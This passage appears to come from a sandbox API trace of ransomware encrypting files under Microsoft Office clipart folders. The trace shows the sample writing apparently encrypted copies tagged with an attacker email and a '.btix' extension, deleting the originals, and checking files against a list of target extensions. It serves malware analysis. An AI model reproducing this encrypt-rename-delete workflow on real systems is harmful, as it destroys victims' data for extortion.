Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 1 [0154.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0154.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0154.062] lstrlenW (lpString=".doc") returned 4 [0154.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.062] lstrlenW (lpString=".docx") returned 5 [0154.062] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.062] lstrlenW (lpString=".pdf") returned 4 [0154.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.062] lstrlenW (lpString=".xls") returned 4 [0154.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.062] lstrlenW (lpString=".xlsx") returned 5 [0154.063] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.063] lstrlenW (lpString=".ppt") returned 4 [0154.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0154.063] lstrlenW (lpString=".zip") returned 4 [0154.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.063] lstrlenW (lpString=".rar") returned 4 [0154.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.063] lstrlenW (lpString=".bz2") returned 4 [0154.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.063] lstrlenW (lpString=".7z") returned 3 [0154.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0154.063] lstrlenW (lpString=".dbf") returned 4 [0154.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0154.063] lstrlenW (lpString=".1cd") returned 4 [0154.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0154.063] lstrlenW (lpString=".jpg") returned 4 [0154.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.064] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.064] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.065] GetLastError () returned 0x0 [0154.065] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x6890, lpOverlapped=0x0) returned 1 [0154.084] WriteFile (in: hFile=0x368, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x68a0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x68a0, lpOverlapped=0x0) returned 1 [0154.097] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.097] WriteFile (in: hFile=0x368, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.097] SetEndOfFile (hFile=0x368) returned 1 [0154.097] CloseHandle (hObject=0x368) returned 1 [0154.097] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.097] SetEndOfFile (hFile=0x36c) returned 1 [0154.099] CloseHandle (hObject=0x36c) returned 1 [0154.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 1 [0154.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0154.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0154.102] lstrlenW (lpString=".doc") returned 4 [0154.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.102] lstrlenW (lpString=".docx") returned 5 [0154.102] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0154.102] lstrlenW (lpString=".pdf") returned 4 [0154.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.102] lstrlenW (lpString=".xls") returned 4 [0154.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.102] lstrlenW (lpString=".xlsx") returned 5 [0154.102] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0154.102] lstrlenW (lpString=".ppt") returned 4 [0154.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0154.103] lstrlenW (lpString=".zip") returned 4 [0154.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.103] lstrlenW (lpString=".rar") returned 4 [0154.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.103] lstrlenW (lpString=".bz2") returned 4 [0154.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.103] lstrlenW (lpString=".7z") returned 3 [0154.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0154.103] lstrlenW (lpString=".dbf") returned 4 [0154.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0154.103] lstrlenW (lpString=".1cd") returned 4 [0154.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0154.103] lstrlenW (lpString=".jpg") returned 4 [0154.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.107] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.107] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0154.149] GetLastError () returned 0x0 [0154.149] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x121c, lpOverlapped=0x0) returned 1 [0154.161] WriteFile (in: hFile=0x38c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1220, lpOverlapped=0x0) returned 1 [0154.162] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.162] WriteFile (in: hFile=0x38c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.163] SetEndOfFile (hFile=0x38c) returned 1 [0154.166] CloseHandle (hObject=0x38c) returned 1 [0154.167] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.167] SetEndOfFile (hFile=0x358) returned 1 [0154.170] CloseHandle (hObject=0x358) returned 1 [0154.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 1 [0154.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0154.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0154.171] lstrlenW (lpString=".doc") returned 4 [0154.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.171] lstrlenW (lpString=".docx") returned 5 [0154.171] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0154.171] lstrlenW (lpString=".pdf") returned 4 [0154.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.171] lstrlenW (lpString=".xls") returned 4 [0154.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.171] lstrlenW (lpString=".xlsx") returned 5 [0154.171] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0154.171] lstrlenW (lpString=".ppt") returned 4 [0154.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0154.172] lstrlenW (lpString=".zip") returned 4 [0154.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.172] lstrlenW (lpString=".rar") returned 4 [0154.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.172] lstrlenW (lpString=".bz2") returned 4 [0154.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.172] lstrlenW (lpString=".7z") returned 3 [0154.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0154.172] lstrlenW (lpString=".dbf") returned 4 [0154.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0154.172] lstrlenW (lpString=".1cd") returned 4 [0154.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0154.172] lstrlenW (lpString=".jpg") returned 4 [0154.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.175] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.175] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.176] GetLastError () returned 0x0 [0154.176] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x138c, lpOverlapped=0x0) returned 1 [0154.188] WriteFile (in: hFile=0x368, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1390, lpOverlapped=0x0) returned 1 [0154.189] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.189] WriteFile (in: hFile=0x368, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.189] SetEndOfFile (hFile=0x368) returned 1 [0154.189] CloseHandle (hObject=0x368) returned 1 [0154.189] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.189] SetEndOfFile (hFile=0x36c) returned 1 [0154.190] CloseHandle (hObject=0x36c) returned 1 [0154.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 1 [0154.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0154.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0154.191] lstrlenW (lpString=".doc") returned 4 [0154.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.191] lstrlenW (lpString=".docx") returned 5 [0154.191] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0154.191] lstrlenW (lpString=".pdf") returned 4 [0154.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.191] lstrlenW (lpString=".xls") returned 4 [0154.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.191] lstrlenW (lpString=".xlsx") returned 5 [0154.191] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0154.191] lstrlenW (lpString=".ppt") returned 4 [0154.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0154.191] lstrlenW (lpString=".zip") returned 4 [0154.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.191] lstrlenW (lpString=".rar") returned 4 [0154.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.191] lstrlenW (lpString=".bz2") returned 4 [0154.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.191] lstrlenW (lpString=".7z") returned 3 [0154.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0154.191] lstrlenW (lpString=".dbf") returned 4 [0154.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0154.191] lstrlenW (lpString=".1cd") returned 4 [0154.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0154.192] lstrlenW (lpString=".jpg") returned 4 [0154.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.199] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.199] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.201] GetLastError () returned 0x0 [0154.201] ReadFile (in: hFile=0x348, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x2020, lpOverlapped=0x0) returned 1 [0154.212] WriteFile (in: hFile=0x374, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x2030, lpOverlapped=0x0) returned 1 [0154.228] ReadFile (in: hFile=0x348, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.228] WriteFile (in: hFile=0x374, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.228] SetEndOfFile (hFile=0x374) returned 1 [0154.504] CloseHandle (hObject=0x374) returned 1 [0154.504] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.504] SetEndOfFile (hFile=0x348) returned 1 [0154.505] CloseHandle (hObject=0x348) returned 1 [0154.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 1 [0154.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0154.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0154.505] lstrlenW (lpString=".doc") returned 4 [0154.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.505] lstrlenW (lpString=".docx") returned 5 [0154.505] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.505] lstrlenW (lpString=".pdf") returned 4 [0154.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.505] lstrlenW (lpString=".xls") returned 4 [0154.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.506] lstrlenW (lpString=".xlsx") returned 5 [0154.506] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.506] lstrlenW (lpString=".ppt") returned 4 [0154.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0154.506] lstrlenW (lpString=".zip") returned 4 [0154.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.506] lstrlenW (lpString=".rar") returned 4 [0154.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.506] lstrlenW (lpString=".bz2") returned 4 [0154.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.506] lstrlenW (lpString=".7z") returned 3 [0154.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0154.506] lstrlenW (lpString=".dbf") returned 4 [0154.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0154.506] lstrlenW (lpString=".1cd") returned 4 [0154.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0154.506] lstrlenW (lpString=".jpg") returned 4 [0154.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.507] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.507] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.507] GetLastError () returned 0x0 [0154.507] ReadFile (in: hFile=0x348, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xf0c1, lpOverlapped=0x0) returned 1 [0154.535] WriteFile (in: hFile=0x374, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xf0d0, lpOverlapped=0x0) returned 1 [0154.536] ReadFile (in: hFile=0x348, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.536] WriteFile (in: hFile=0x374, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.536] SetEndOfFile (hFile=0x374) returned 1 [0154.536] CloseHandle (hObject=0x374) returned 1 [0154.536] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.536] SetEndOfFile (hFile=0x348) returned 1 [0154.537] CloseHandle (hObject=0x348) returned 1 [0154.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 1 [0154.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0154.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0154.540] lstrlenW (lpString=".doc") returned 4 [0154.540] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0154.540] lstrlenW (lpString=".docx") returned 5 [0154.540] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0154.540] lstrlenW (lpString=".pdf") returned 4 [0154.540] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0154.540] lstrlenW (lpString=".xls") returned 4 [0154.540] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0154.540] lstrlenW (lpString=".xlsx") returned 5 [0154.540] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0154.540] lstrlenW (lpString=".ppt") returned 4 [0154.540] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0154.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0154.540] lstrlenW (lpString=".zip") returned 4 [0154.540] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0154.540] lstrlenW (lpString=".rar") returned 4 [0154.540] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0154.541] lstrlenW (lpString=".bz2") returned 4 [0154.541] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0154.541] lstrlenW (lpString=".7z") returned 3 [0154.541] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0154.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0154.541] lstrlenW (lpString=".dbf") returned 4 [0154.541] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0154.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0154.541] lstrlenW (lpString=".1cd") returned 4 